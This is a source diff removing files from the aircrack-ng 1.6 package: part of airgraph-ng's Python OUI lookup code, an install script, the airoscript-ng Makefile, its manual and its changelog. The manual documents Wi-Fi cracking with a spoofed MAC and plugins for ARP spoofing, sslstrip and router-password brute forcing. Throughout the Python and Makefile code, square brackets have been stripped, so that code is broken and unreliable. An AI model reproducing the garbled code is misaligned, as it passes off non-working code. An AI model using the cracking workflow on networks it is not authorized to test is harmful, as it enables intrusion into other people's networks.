-        self.oui_company = self.ouiParse()  #dict where oui's are the keys to company names
-        self.company_oui = self.companyParse()  #dict where company name is the key to oui's
-
-    def compKeyChk(self,name):
-        """
-        check for valid company name key
-        """
-        compMatch = re.compile(name,re.I)
-        if name in self.company_oui:
-            return True
-        for key in list(self.company_oui.keys()):
-                if compMatch.search(key) is not None:   
-                    return True
-        return False
-
-    def ouiKeyChk(self,name):
-        """
-        check for a valid oui prefix
-        """
-
-        if name in self.oui_company: 
-            return True
-        else: 
-            return False
-
-    def lookup_OUI(self,mac):
-        """
-        Lookup a oui and return the company name
-        """
-        if self.ouiKeyChk(mac) is not False:
-            return self.oui_companymac
-        else:
-            return False
-
-    def lookup_company(self,companyLst):
-        """
-        look up a company name and return their OUI's
-        """
-        oui = 
-        if type(companyLst) is list:
-            for name in companyLst:
-                compMatch = re.compile(name,re.I)
-                if name in self.company_oui:
-                    oui.extend(self.company_ouiname)
-                else:
-                    for key in self.company_oui:
-                        if compMatch.search(key) is not None:
-                            oui.extend(self.company_ouikey)
-
-        elif type(companyLst) is str:
-            if companyLst in self.company_oui:
-                oui = self.company_ouicompanyLst
-            else:
-
-                compMatch = re.compile(companyLst,re.I)
-                for key in self.company_oui:
-                    if compMatch.search(key) is not None:
-                        oui.extend(self.company_ouikey) #return the oui for that key
-        return oui
-
-    def ouiOpen(self,fname,flag='R'):
-        """
-        open the file and read it in
-        flag denotes use of read or readlines
-        """
-        try:
-            with open(fname, "r") as fid:
-                if flag == 'RL':
-                    text = fid.readlines()
-                elif flag == 'R':
-                    text = fid.read()
-            return text
-        except IOError:
-            return False
-
-
-    def ouiParse(self):
-        """
-        generate a oui to company lookup dict
-        """
-        HexOui= {}
-        Hex = re.compile('.*(hex).*')
-        #matches the following example "00-00-00   (hex)\t\tXEROX CORPORATION" 
-        ouiLines = self.ouiRaw.split("\n") 
-        #split each company into a list one company per position
-        for line in ouiLines:
-            if Hex.search(line) is not None: 
-                lineList = Hex.search(line).group().replace("\t"," ").split("  ") 
-                #return the matched text and build a list out of it
-                HexOuilineList0.replace("-",":") = lineList2.strip()
-                #build a dict in the format of mac:company name 
-        return HexOui
-
-    def companyParse(self):
-        """
-        generate a company to oui lookup dict
-        """
-        company_oui = {}
-        for oui in self.oui_company:
-            if self.oui_companyoui in company_oui:
-                company_ouiself.oui_companyoui.append(oui)
-            else:
-                company_ouiself.oui_companyoui = oui
-        return company_oui
-
-    def ouiUpdate(self):
-        """
-        Grab the oui txt file off the ieee.org website
-        """
-        try:
-            print(("Getting OUI file from %s to %s" %(self.ouiTxtUrl, path)))
-            urllib.request.urlretrieve(self.ouiTxtUrl, path + "oui.txt")
-            print("Completed Successfully")
-        except Exception as error:
-            print(("Could not download file:\n %s\n Exiting airgraph-ng" %(error)))
-            sys.exit(0)
-
-    def identDeviceDict(self,fname):
-        """
-        Create two dicts allowing device type lookup
-        one for oui to device and one from device to OUI group
-        """
-        self.ouitodevice = {}
-        self.devicetooui = {}
-        data = self.ouiOpen(fname,'RL')
-        if data == False:
-            self.last_error = "Unable to open lookup file for parsing"
-            return False
-        for line in data:
-            dat = line.strip().split(',')
-            self.ouitodevicedat1 = dat0
-            if dat0 in list(self.devicetooui.keys()):
-                self.devicetoouidat0.append(dat1)
-            else:
-                self.devicetoouidat0 = dat1
-
-    def identDeviceDictWhacMac(self,fname):
-        """
-        Create two dicts allowing device type lookup from whatmac DB
-        one for oui to device and one from the device to OUI group
-        """
-        self.ouitodeviceWhatmac3 = {}
-        self.ouitodeviceWhatmac = {}
-        self.devicetoouiWhacmac = {}
-        data = self.ouiOpen(fname,'RL')
-        if data == False:
-            self.last_error = "Unble to open lookup file for parsing"
-            return False
-        for line in data:
-            dat = line.strip().split(',')
-            dat0 = dat0.upper()
-            self.ouitodeviceWhatmacdat0 = dat1
-            self.ouitodeviceWhatmac3dat00:8 = dat1 # a db to support the 3byte lookup from whatmac
-            if dat1 in list(self.devicetoouiWhacmac.keys()):
-                self.devicetoouiWhacmacdat1.append(dat0)
-            else:
-                self.devicetoouiWhacmacdat1 = dat0
-

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/.mkinstalldirs Deleted

@@ -1,150 +0,0 @@
-#! /bin/sh
-# mkinstalldirs --- make directory hierarchy
-
-scriptversion=2005-02-02.21
-
-# Original author: Noah Friedman <friedman@prep.ai.mit.edu>
-# Created: 1993-05-16
-# Public domain.
-#
-# This file is maintained in Automake, please report
-# bugs to <bug-automake@gnu.org> or send patches to
-# <automake-patches@gnu.org>.
-
-errstatus=0
-dirmode=""
-
-usage="\
-Usage: mkinstalldirs -h --help --version -m MODE DIR ...
-
-Create each directory DIR (with mode MODE, if specified), including all
-leading file name components.
-
-Report bugs to <bug-automake@gnu.org>."
-
-# process command line arguments
-while test $# -gt 0 ; do
-  case $1 in
-    -h | --help | --h*)         # -h for help
-      echo "$usage"
-      exit $?
-      ;;
-    -m)                         # -m PERM arg
-      shift
-      test $# -eq 0 && { echo "$usage" 1>&2; exit 1; }
-      dirmode=$1
-      shift
-      ;;
-    --version)
-      echo "$0 $scriptversion"
-      exit $?
-      ;;
-    --)                         # stop option processing
-      shift
-      break
-      ;;
-    -*)                         # unknown option
-      echo "$usage" 1>&2
-      exit 1
-      ;;
-    *)                          # first non-opt arg
-      break
-      ;;
-  esac
-done
-
-for file
-do
-  if test -d "$file"; then
-    shift
-  else
-    break
-  fi
-done
-
-case $# in
-  0) exit 0 ;;
-esac
-
-# Solaris 8's mkdir -p isn't thread-safe.  If you mkdir -p a/b and
-# mkdir -p a/c at the same time, both will detect that a is missing,
-# one will create a, then the other will try to create a and die with
-# a "File exists" error.  This is a problem when calling mkinstalldirs
-# from a parallel make.  We use --version in the probe to restrict
-# ourselves to GNU mkdir, which is thread-safe.
-case $dirmode in
-  '')
-    if mkdir -p --version . >/dev/null 2>&1 && test ! -d ./--version; then
-      echo "mkdir -p -- $*"
-      exec mkdir -p -- "$@"
-    else
-      # On NextStep and OpenStep, the `mkdir' command does not
-      # recognize any option.  It will interpret all options as
-      # directories to create, and then abort because `.' already
-      # exists.
-      test -d ./-p && rmdir ./-p
-      test -d ./--version && rmdir ./--version
-    fi
-    ;;
-  *)
-    if mkdir -m "$dirmode" -p --version . >/dev/null 2>&1 &&
-       test ! -d ./--version; then
-      echo "mkdir -m $dirmode -p -- $*"
-      exec mkdir -m "$dirmode" -p -- "$@"
-    else
-      # Clean up after NextStep and OpenStep mkdir.
-      for d in ./-m ./-p ./--version "./$dirmode";
-      do
-        test -d $d && rmdir $d
-      done
-    fi
-    ;;
-esac
-
-for file
-do
-  set fnord `echo ":$file" | sed -ne 's/^:\//#/;s/^://;s/\// /g;s/^#/\//;p'`
-  shift
-
-  pathcomp=
-  for d
-  do
-    pathcomp="$pathcomp$d"
-    case $pathcomp in
-      -*) pathcomp=./$pathcomp ;;
-    esac
-
-    if test ! -d "$pathcomp"; then
-      echo "mkdir $pathcomp"
-
-      mkdir "$pathcomp" || lasterr=$?
-
-      if test ! -d "$pathcomp"; then
-	errstatus=$lasterr
-      else
-	if test ! -z "$dirmode"; then
-	  echo "chmod $dirmode $pathcomp"
-	  lasterr=""
-	  chmod "$dirmode" "$pathcomp" || lasterr=$?
-
-	  if test ! -z "$lasterr"; then
-	    errstatus=$lasterr
-	  fi
-	fi
-      fi
-    fi
-
-    pathcomp="$pathcomp/"
-  done
-done
-
-exit $errstatus
-
-# Local Variables:
-# mode: shell-script
-# sh-indentation: 2
-# eval: (add-hook 'write-file-hooks 'time-stamp)
-# time-stamp-start: "scriptversion="
-# time-stamp-format: "%:y-%02m-%02d.%02H"
-# time-stamp-end: "$"
-# End:

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/Makefile Deleted

@@ -1,109 +0,0 @@
-#!/usr/bin/make
-# Configure prefix here:
-prefix=$(DESTDIR)/usr/local/
-etcdir=$(DESTDIR)/usr/local/etc/
-name="airoscript-ng"
-
-INSTALL = install -c
-INSTALLDATA = install -c -m 644
-INSTALLBIN = install -c -m 755
-
-data=$(prefix)/share
-bindir=$(prefix)/sbin/
-picdir=$(data)/pixmaps/
-appdir=$(data)/applications/
-locale=$(data)/locale
-mandir=$(data)/man
-docdir=$(data)/doc/$(name)
-datadir=$(data)/$(name)/
-srcdir=./src
-
-install: installdirs\
-	 install-binary \
-	 install-config \
-	 install-docs \
-	 install-locale \
-	 install-desktop
-
-
-installdirs:
-	@$(SHELL) ./.mkinstalldirs $(bindir) $(datadir) \
-        			$(docdir)/html/images $(etcdir) \
-        			$(docdir)/html/css \
-                    $(mandir)/man1 $(locale) \
-					$(datadir)/themes $(picdir) $(appdir) \
-					$(datadir)/plugins \
-					$(datadir)/extras \
-					$(datadir)/templates
-
-install-config:
-	@$(INSTALLDATA) $(srcdir)/conf/airoscript-ng.conf $(etcdir)
-	@$(INSTALLDATA) $(srcdir)/conf/airoscript-ng_debug.conf $(etcdir)
-	@$(INSTALLDATA) $(srcdir)/conf/airoscript-ng_advanced.conf $(etcdir)
-ifeq ($(package),yes)
-	@$(INSTALLDATA) $(srcdir)/conf/airoscript-ng_packaged.conf $(etcdir)
-endif
-
-install-binary:
-	@echo "Installing airoscript"
-	@$(INSTALLBIN) $(srcdir)/airoscript-ng $(bindir)/$(name)
-	@cp -r $(srcdir)/functions/* $(datadir)
-	@echo "Installing themes"
-	@cp -r $(srcdir)/templates/* $(datadir)/templates
-	@$(INSTALLDATA) $(srcdir)/themes/*.theme $(datadir)/themes
-	@echo "Installing plugins"
-	@$(INSTALLDATA) $(srcdir)/plugins/* $(datadir)/plugins
-	@echo "Installing extras"
-	@cp -r $(srcdir)/extras/* $(datadir)/extras
-	@cp -r $(srcdir)/extras/completions/* $(datadir)/extras/completions
-
-install-docs:
-	@echo "Installing documentation"
-	@echo "\t Installing standard documentation"
-	@for i in doc/* ; do if  -d $$i  &&  $$i != "."  &&  $$i != ".." ; then make -s -C $$i docdir="$(docdir)" INSTALLDATA="$(INSTALLDATA)" ; else $(INSTALLDATA) $$i $(docdir) ;fi ; done
-	@# This will install any manpage on manpages dir. (Just man1 manpages)
-	@echo  "\t Installing manpages"
-	@for i in $(docdir)/*.1 ; do $(INSTALLDATA) $$i $(mandir)/man1/ ; done
-	@echo "\t Installing artwork"
-	@$(INSTALLDATA) $(srcdir)/goodies/airoscriptlogo.png $(docdir)/airoscript-ng.png
-
-install-desktop:
-	@install $(srcdir)/goodies/airoscript-ng.desktop $(appdir)/
-	@install $(srcdir)/goodies/airoscript-ng_gtk.desktop $(appdir)/
-	@$(INSTALLDATA) src/goodies/airoscriptlogo.png $(picdir)/airoscript-ng.png
-	@xdg-desktop-menu install $(appdir)/airoscript-ng.desktop
-	@xdg-desktop-menu install $(appdir)/airoscript-ng_gtk.desktop
-
-generate-locale:
-	@for i in $(srcdir)/locale/* ; do \
-		if  -d $$i  &&  $$i != "."  &&  $$i != ".." ; then \
-			make -s -C $$i &> /dev/null ; \
-		fi ; \
-	done
-
-install-locale: generate-locale
-	@echo "Installing locales"
-	@for i in $(srcdir)/locale/* ; do \
-		if  -d $$i  &&  $$i != "."  &&  $$i != ".." ; then \
-			make -s -C $$i install localedir="$(locale)" INSTALLDATA="$(INSTALLDATA)" ; \
-		fi ; \
-	done
-
-uninstall:
-	@rm -f $(bindir)/$(name)
-	@rm -f $(etcdir)/airoscript-ng*.conf
-	@rm -rf $(datadir)
-	@rm -rf $(docdir)
-	@rm -f $(mandir)/man1/airoscript-ng.1
-	@rm -f $(picdir)/airoscript-ng.png $(appdir)/airoscript-ng.desktop $(appdir)/airoscript-ng_gtk.desktop
-	@for i in $(docdir)/*.1 ; do rm -rf $(mandir)/man1/$$i ; done
-	@for i in $(srcdir)/locale/* ; do \
-		if  -d $$i  &&  $$i != "."  &&  $$i != ".." ; then \
-			make -s -C $$i uninstall localedir="$(locale)" ; \
-		fi ; \
-	done
-	@echo "Uninstalled succesfully"
-
-all: install
-
-.PHONY: all install uninstall locale manpages

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/Readme.rst Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/Readme.rst Deleted

@@ -1,175 +0,0 @@
-===============
- Airoscript-ng
-===============
-
----------------------------------------------
-User interface to aircrack-ng
----------------------------------------------
-
-:Author: This manual page was written by David Francos <me@davidfrancos.net>
-:Date:   2011-11-17
-:Copyright: David Francos Cuartero
-:Version: 1.1
-:Manual section: 1
-:Manual group: net
-
-SYNOPSIS
-========
-
-airoscript-ng -h -t TERMINAL -v -w WIRELESS_CARD -b -m fakemac|realmac -a -n FILTER -x -z -p PLUGIN_FILE
-
-DESCRIPTION
-===========
-
-Airoscript is a complete user interface for aircrack-ng.
-
-It gives you almost all functionality that aircrack-ng has, allowing you to
-save some time from writting commands. Writing commands may be good to learn
-how does it work, but repeatedly doing so can damage your mind and your body.
-
-Airoscript also provides a comprehensive way to generate CEO-readable network
-security reports, writable (by wkhtml2pdf plugin) as pdf.
-
-OPTIONS
-=======
-
-
--h                    Show this message
--t terminal           Specify terminal (xterm or screen)
--v                    Verbose & debug mode
--w wireless_card      Specify wifi card
--b                    Writes a csv file with network data.
--m mac_mode           Change mac to fakemac before everything else. (mac mode can be fakemac or realmac)
--a                    Automatic mode
--n regex              Filter SSID by regex
--x                    Autoconfigure network after automatic crack (requires -a)
--z                    Don't scan automatically at start
-           
-
-Examples
-========
-
-Crack the first of all my test networks using my own mac
-
-    ::
-
-        airoscript-ng -w wlan0 -m realmac -n "XayOnTest_(.*)" 
-        
-Try to crack any network with faked mac. Warning, this may
-conduct you to commit a crime
-
-    ::
-
-        airoscript-ng -w wlan0 -m fakemac -a 
-
-.. The following one is a little bigger
-    - It loads digenpy plugin (wich means that if a network can be cracked with a dictionary provided by digenpy, it will wait for only FOUR packages, then crack it with dict)
-    - It forces to use xterm interface (wich, by the way, is the default stuff)
-    - Uses wlan1 as interface
-    - Writes a csv file with the network data for posterior analysis
-    - Uses your real mac
-    - Starts debugging mode (it just prints out more information than usual (ugly as hell, meant for dev))
-    - Autoconfigures network after cracking. This SHOULD NOT DO ANYTHING IN THIS EXAMPLE (auto mode), as at the end of automatic mode, it already asks you to configure it. 
-    
-    airoscript-ng -t xterm -v -w wlan1 -b -m realmac -a -n "XayOn_" -x -pdigenpy
-
-Developers
-==========
-
-| Help and feedback is greatly appreciated. 
-| Please feel free to mail XayOn at xayon@xayon.net 
-
-Compliance
-==========
-
-In the wrong hands, airoscript and aircrack-ng could easily violate the 
-government certification of your radio. 
-A simple example of this is running injection on frequencies your
-radio isn't certified for in your geographic region.
-
-You and only you are responsible for making sure that your tools *including*
-*airoscript* are compliant with the regulations in your country and region.
-
-Bugs and feature requests
-=========================
-
-Please submit bugs in aircrack-ng trac or aircrack-ng oficial forum "airoscript
-support" subforum.
-
-Menu usage
-==========
-
-Airoscript-ng menu is quite intuitive, and it's documented in the html docs.
-Since version 1.1 is able to queue commands, that is, you can tell it
-to do 1 then 2 in a menu just by entering "1 2" (without the quotes).
-
-Configuration
-=============
-
-There are 2 configuration files, airoscript-ng.conf and
-airoscript-ng_advanced.conf that are well explained within them.
-
-.. this is for the manpage, sorry for the inconvenience
-
-.. include:: doc/install
- 
-Plugin support
-==============
-
-Airoscript supports plugins, shell scripts listed in enabled_plugins on 
-airoscript configuration (use the full path there).
-
-Since svn revision 1969 airoscript-ng has a plugin menu, wich will make you
-able to enable any plugin after airoscript has been started just by
-selecting it.
-
-Currently (at 1991) the plugin list that comes out with airoscript is:
-
-   - arpspoof --> Enables arp spoof menu
-   - digenpy --> Enables digenpy dictionary generator for cracking
-   - dsniff --> launches dsniff (better use it with arpspoof and sslstrip)
-   - hydra --> Configures network, then launches hydra to get router password
-   - iptables --> Configures iptables to redirect trough it (needed for arpspoof sslstrip)
-   - johntheripper --> Enables john the ripper to generate password lists for cracking WPA
-   - mdk3 --> Enables mdk3 menu
-   - sslstrip --> Enables sslstrip menu 
-   - tcpdstat --> When making a report, includes tcpdstat's protocol statistics
-   - wkhtmltopdf --> Converts reports to pdf 
-   - zenity --> Enables a zenity-based graphical interface for airoscript-ng (needs also libnotify-bin)
-   - pyrit --> a raw interface for pyrit, requires pyrit knowledge
-
-Creating a plugin 
-=================
-
-For a plugin to add a menu entry, you'll have to set
-$plugins_menu"Title of the menu you want to use" to an array of
-the entries you want to add.
-
-Have a look at http://xayon.net/adding-nessus-support-to-airoscript/ for
-a more complete tutorial.
-
-SEE ALSO
-========
-
-.. _airoscript-ng homepage: http://airoscript.aircrack-ng.org/
-.. _airoscript-ng google code: http://code.google.com/p/airoscript
-.. _XayOns blog: http://www.xayon.net
-
-| airoscript.conf(1)
-| airdecap-ng(1)
-| airdriver-ng(1)
-| aireplay-ng(1)
-| airmon-ng(1)
-| airodump-ng(1)
-| airolib-ng(1)
-| airsev-ng(1)
-| airtun-ng(1)
-| buddy-ng(1)
-| easside-ng(1)
-| ivstools(1)
-| kstats(1)
-| makeivs-ng(1)
-| packetforge-ng(1)
-| wesside-ng(1)
-| aircrack-ng(1)
-

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/airoscript-ng.1 Deleted

@@ -1,246 +0,0 @@
-.\" Man page generated from reStructeredText.
-.
-.TH AIROSCRIPT-NG 1 "2011-11-17" "1.1" "net"
-.SH NAME
-Airoscript-ng \- User interface to aircrack-ng
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\nan-margin
-level \\nrst2man-indent-level
-level margin: \\nrst2man-indent\\nrst2man-indent-level
--
-\\nrst2man-indent0
-\\nrst2man-indent1
-\\nrst2man-indent2
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\nrst2man-indent-level \\nan-margin
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\nan-margin
-.\" old: \\nrst2man-indent\\nrst2man-indent-level
-.nr rst2man-indent-level -1
-.\" new: \\nrst2man-indent\\nrst2man-indent-level
-.in \\nrst2man-indent\\nrst2man-indent-levelu
-..
-.SH SYNOPSIS
-.sp
-airoscript\-ng \-h \-t TERMINAL \-v \-w WIRELESS_CARD \-b \-m fakemac|realmac \-a \-n FILTER \-x \-z \-p PLUGIN_FILE
-.SH DESCRIPTION
-.sp
-Airoscript is a complete user interface for aircrack\-ng.
-.sp
-It gives you almost all functionality that aircrack\-ng has, allowing you to
-save some time from writting commands. Writing commands may be good to learn
-how does it work, but repeatedly doing so can damage your mind and your body.
-.sp
-Airoscript also provides a comprehensive way to generate CEO\-readable network
-security reports, writable (by wkhtml2pdf plugin) as pdf.
-.SH OPTIONS
-.INDENT 0.0
-.TP
-.B \-h
-Show this message
-.TP
-.BI \-t \ terminal
-Specify terminal 
-.TP
-.B \-v
-Verbose & debug mode
-.TP
-.BI \-w \ wireless_card
-Specify wifi card
-.TP
-.B \-b
-Writes a csv file with network data.
-.TP
-.BI \-m \ mac_mode
-Change mac to fakemac before everything else. (mac mode can be fakemac or realmac)
-.TP
-.B \-a
-Automatic mode
-.TP
-.BI \-n \ regex
-Filter SSID by regex
-.TP
-.B \-x
-Autoconfigure network after automatic crack (requires \-a)
-.TP
-.B \-z
-Don\(aqt scan automatically at start
-.UNINDENT
-.SH EXAMPLES
-.sp
-Crack the first of all my test networks using my own mac
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-airoscript\-ng \-w wlan0 \-m realmac \-n "XayOnTest_(.*)"
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.sp
-Try to crack any network with faked mac. Warning, this may
-conduct you to commit a crime
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-airoscript\-ng \-w wlan0 \-m fakemac \-a
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.\" The following one is a little bigger
-.\" - It loads digenpy plugin (wich means that if a network can be cracked with a dictionary provided by digenpy, it will wait for only FOUR packages, then crack it with dict)
-.\" - It forces to use xterm interface (wich, by the way, is the default stuff)
-.\" - Uses wlan1 as interface
-.\" - Writes a csv file with the network data for posterior analysis
-.\" - Uses your real mac
-.\" - Starts debugging mode (it just prints out more information than usual (ugly as hell, meant for dev))
-.\" - Autoconfigures network after cracking. This SHOULD NOT DO ANYTHING IN THIS EXAMPLE (auto mode), as at the end of automatic mode, it already asks you to configure it.
-.\" 
-.\" airoscript-ng -t xterm -v -w wlan1 -b -m realmac -a -n "XayOn_" -x -pdigenpy
-.
-.SH DEVELOPERS
-.nf
-Help and feedback is greatly appreciated.
-Please feel free to mail XayOn at \fI\%xayon@xayon.net\fP
-.fi
-.sp
-.SH COMPLIANCE
-.sp
-In the wrong hands, airoscript and aircrack\-ng could easily violate the
-government certification of your radio.
-.sp
-A simple example is running injection on frequencies your radio isn\(aqt
-certified for in your geographic region.
-.sp
-You and only you are responsible for making sure that your tools \fIincluding\fP
-\fIairoscript\fP are compliant with the regulations in your country and region.
-.SH BUGS AND FEATURE REQUESTS
-.sp
-Please submit bugs in aircrack\-ng trac or aircrack\-ng oficial forum "airoscript
-support" subforum.
-.SH MENU USAGE
-.sp
-Airoscript\-ng menu is quite intuitive, and it\(aqs documented in the html docs.
-.sp
-Since version 1.1 is able to queue commands, that is, you can tell it
-to do 1 then 2 in a menu just by entering "1 2" (without the quotes).
-.SH CONFIGURATION
-.sp
-There are 2 configuration files, airoscript\-ng.conf and
-airoscript\-ng_advanced.conf that are well explained within them.
-.\" this is for the manpage, sorry for the inconvenience
-.
-.SH REQUIREMENTS (DEPS)
-.SS Build\-deps
-.sp
-gettext
-.SS Deps:
-.nf
-GNU gettext (gettext package)
-ip (iproute package)
-aircrack\-ng (same version as airoscript\-ng)
-\fIWorking\fP injection capable driver for the interface you want to use
-mrxvt|xterm|gnome\-terminal \-> Preferibly xterm
-aircrack\-ng ( = airoscript\-ng_version) )
-bash ( >4.0 )
-iproute ( /bin/ip )
-.fi
-.sp
-.SS Recommended
-.nf
-digenpy ( \fI\%http://github.com/XayOn/Digenpy\fP ) # Depends on python 2.6
-macchanger
-mdk
-.fi
-.sp
-.SH PLUGIN SUPPORT
-.sp
-Airoscript supports plugins, shell scripts listed in enabled_plugins on
-airoscript configuration (use the full path there).
-.sp
-Since svn revision 1969 airoscript\-ng has a plugin menu, wich will make you
-able to enable any plugin after airoscript has been started just by
-selecting it.
-.sp
-Currently (at 1991) the plugin list that comes out with airoscript is:
-.INDENT 0.0
-.INDENT 3.5
-.INDENT 0.0
-.IP \(bu 2
-arpspoof \-\-> Enables arp spoof menu
-.IP \(bu 2
-digenpy \-\-> Enables digenpy dictionary generator for cracking
-.IP \(bu 2
-dsniff \-\-> launches dsniff (better use it with arpspoof and sslstrip)
-.IP \(bu 2
-hydra \-\-> Configures network, then launches hydra to get router password
-.IP \(bu 2
-iptables \-\-> Configures iptables to redirect trough it (needed for arpspoof sslstrip)
-.IP \(bu 2
-johntheripper \-\-> Enables john the ripper to generate password lists for cracking WPA
-.IP \(bu 2
-mdk3 \-\-> Enables mdk3 menu
-.IP \(bu 2
-sslstrip \-\-> Enables sslstrip menu
-.IP \(bu 2
-tcpdstat \-\-> When making a report, includes tcpdstat\(aqs protocol statistics
-.IP \(bu 2
-wkhtmltopdf \-\-> Converts reports to pdf
-.IP \(bu 2
-zenity \-\-> Enables a zenity\-based graphical interface for airoscript\-ng (needs also libnotify\-bin)
-.IP \(bu 2
-pyrit \-\-> a raw interface for pyrit, requires pyrit knowledge
-.UNINDENT
-.UNINDENT
-.UNINDENT
-.SH CREATING A PLUGIN
-.sp
-For a plugin to add a menu entry, you\(aqll have to set
-$plugins_menu"Title of the menu you want to use" to an array of
-the entries you want to add.
-.sp
-Have a look at \fI\%http://xayon.net/adding\-nessus\-support\-to\-airoscript/\fP for
-a more complete tutorial.
-.SH SEE ALSO
-.nf
-airoscript.conf(1)
-airdecap\-ng(1)
-airdriver\-ng(1)
-aireplay\-ng(1)
-airmon\-ng(1)
-airodump\-ng(1)
-airolib\-ng(1)
-airsev\-ng(1)
-airtun\-ng(1)
-buddy\-ng(1)
-easside\-ng(1)
-ivstools(1)
-kstats(1)
-makeivs\-ng(1)
-packetforge\-ng(1)
-wesside\-ng(1)
-aircrack\-ng(1)
-.fi
-.sp
-.SH AUTHOR
-This manual page was written by David Francos <me@davidfrancos.net>
-.SH COPYRIGHT
-David Francos Cuartero
-.\" Generated by docutils manpage writer.
-.\" 
-.

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/authors Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/changelog Deleted

@@ -1,249 +0,0 @@
-Changelog for airoscript-ng 1.2
-- Renamed version 1.2-3 to 1.2 (It's a mess, but I 1.2-3 must have been 1.2-rc1)
-- Improved usability
-- Fixed bugs on argument parsing.
-- Added --ignore-negative-one to all aircrack-ng commands
-- Added a new reporting system that generates html and pdf with kstats and airgraph-ng support
-- Virtual interface deletion is automated upon exit (by a trap). You can kill airoscript with ctrl-c now safely
-- Improved autocrack system
-- Added (experimental and brief) pyrit support
-- Added "developement mode"
-- Fixed resolution detection so it will work on any resolution
-- Added a plugin menu to hotplug plugins
-- Added an hydra plugin (autocrack for router default passwords)
-- If there's a network cracked, it'll ask for creating a report upon exit
-- Added autopawn functionality
-- Added plugins system
-- Added sslstrip plugin (experimental)
-- Added zenity graphical interface (as plugin)
-- Added digenpy plugin
-- Deleted old dictionary generators
-- Added john the ripper plugin 
-- Fixed WPA cracking
-- Fixed some wep options
-- Made auth functions less verbose
-- Added autoconfigure option in arguments
-- Updated airoscript-ng manpage
-- Fixed some broken options
-- Added a nice startup coloured ascii art logo
-- Fixed zenity plugins's autoscan dialog.
-- Fixed client selection menu
-
-Changelog for airoscript-ng 1.1
-
-- Refactorised almost all functions
-- Fixed changing mac address
-- Rewrote airoscript-ng script to be more readable
-- Autoscan function at start.
-- Reordered options menu
-- Fixed menu creator function, now all menus can safely depend on this
-- Added loader function for config files and external files, to make it
-prettyer
-- New theme "minimal" is default now.
-- Configuration made much simpler.
-- Pmk databases from airolib-ng support
-- Decloaking support with airdecloak-ng
-- Added an option to create a virtual interface with airtun-ng
-- Kstats support
-- Airdecap-ng support
-- Some beauty colouring
-- Now you'll have to select a network at start
-- Fixed dictionary issues, now it's much simpler to add a dictionary
-generator.
-- Added automatic network configurator
-- Remade fake and auto auth menus into an "authentication" menu
-- Fixed the injection options (didn't work until now)
-- Support for PMK database
-- Support for custom commands (It'll ask you for extra options *in every
-command it executes*! use carefully!)
-- Lots of lil bugfixes on interface and cracking stuff 
-- Fixed cracking WPA
-- Added a warning when wpa cracking
-- Fixed wpa handshake standard airodump-ng attack
-- Added Automatic network cracking option
-- Added cli interface
-- Using xhost to automatically setting resolution
-- Refactorished menu function, it's creating real nice menus now with shell scape codes
-- Same with target selection menu
-- Added an option to rescan for targets in starting auto scan.
-
-- Added airtun tool menu to airoscript
-- Code is now splitted in a more usable and editable way
-- Fixed menu function to work as expected
-- Some changes to make plugin generation way easier
-- Added airoscript-ng logo
-- Added source dependences, so we're not loading everything from the beggining
-- Made it all
-
-Changelog for airoscript-ng 1.0:
-- Fixed client selection menu 
-- External functions now works 
-- Fixed regex that breaked iw2200 
-- Fucking dos line endings in makefiles. 
-- Lots of minor changes 
-- Cosmetics on non-existant unstable functions 
-- Splitted some functions from menu here 
-- Code cosmetics on screen functions 
-- Cleaner menu code 
-- Refactoring on mac changer and cosmetics 
-- Even more cosmetics, converted all menus to new styles 
-- Little bugfix on menu 
-- More cosmetics, some debug bugfixes 
-- Little cosmetic on order of airoscript warn 
-- Little themes fix on conffile 
-- Cosmetics 
-- Added initial usage warning 
-- Minor fixes on config and screen functions 
-- Changed airoscript-ng.sh to airoscript-ng 
-- Splitted functions_internal from main functions file 
-- Some aspect changes 
-- Functions cleanup 
-- improved airopdate 
-- Refactorized external functions. Still untested. 
-- Makefile minor fixes. Prev was conf fix 
-- Some makefile minor fixes 
-- Converting to airoscript-ng and cleaning shit 
-- Some minor doc fixes 
-- Now it won't only check if wifi is empty, also if wifi is in form fooo0. 
-- Identified bug with iwl interfaces, waiting for feedback from reporter 
-
-Changelog for airoscript 2.2 
-- Updated licenses on all documents (closes: )
-- Bugfixes (lots) on airoscfunc.sh 
-- Added airoswordlist.pl for automatising wordlist creation.
-- Added airosconf.sh for airoscript configuration modify trought command line
-- Added a initial display message advertising of airoscript use.
-- Added support for airserv-ng
-- Added tkiptun basic support
-- Support for a different interface for injection
-- Added more options to conffile.
-- Compatibility with cygwin 
-- Added interactive mode, a more verbose airoscript mode.
-- More flexibility for fake auth stuff when doing other attacks.
-- Some rt61-oriented bugfixes. For instance it now changes the mac correcly.
-- Force user to pay more attention to macs asking to change mac to multiple 
-mac options.
-- Added a "special case" terminal: GUI, so if gui is selected as terminal, airosperl will be executed as described in ticket (#123).
-
-Changelog for airoscript 2.1
-- Bugfixes on terminal titles.
-- Now you can especify a terminal without editing config by passing it as parameter ( airoscript terminal )
-- Added patches for debian-packaging wifislax and wifiway conffile
-- Added ~/.airoscript/ directory, where config can be stored, as .airoscript.screen-has-started and wordlist.
-- Now it cd's to DUMP_PATH so all residual data will remain there not in `pwd`
-- Added unstable functions file, and moved current one to a "external functions" file, since it requires from external binaries not aircrack-related.
-- Added unstable option in menu (only appears when unstable activated on config)
-- Added external functions to menu (same as unstable, only when activated on config)
-- Modified paths to /usr/local/ as it should be.
-- i10n upgrades for spanish.
-
-Changelog for airoscript 2.0.12 
-- Added real screen support
-- Corrected lots of bugs with i10n
-- Corrected bug in wlandecrypter bug
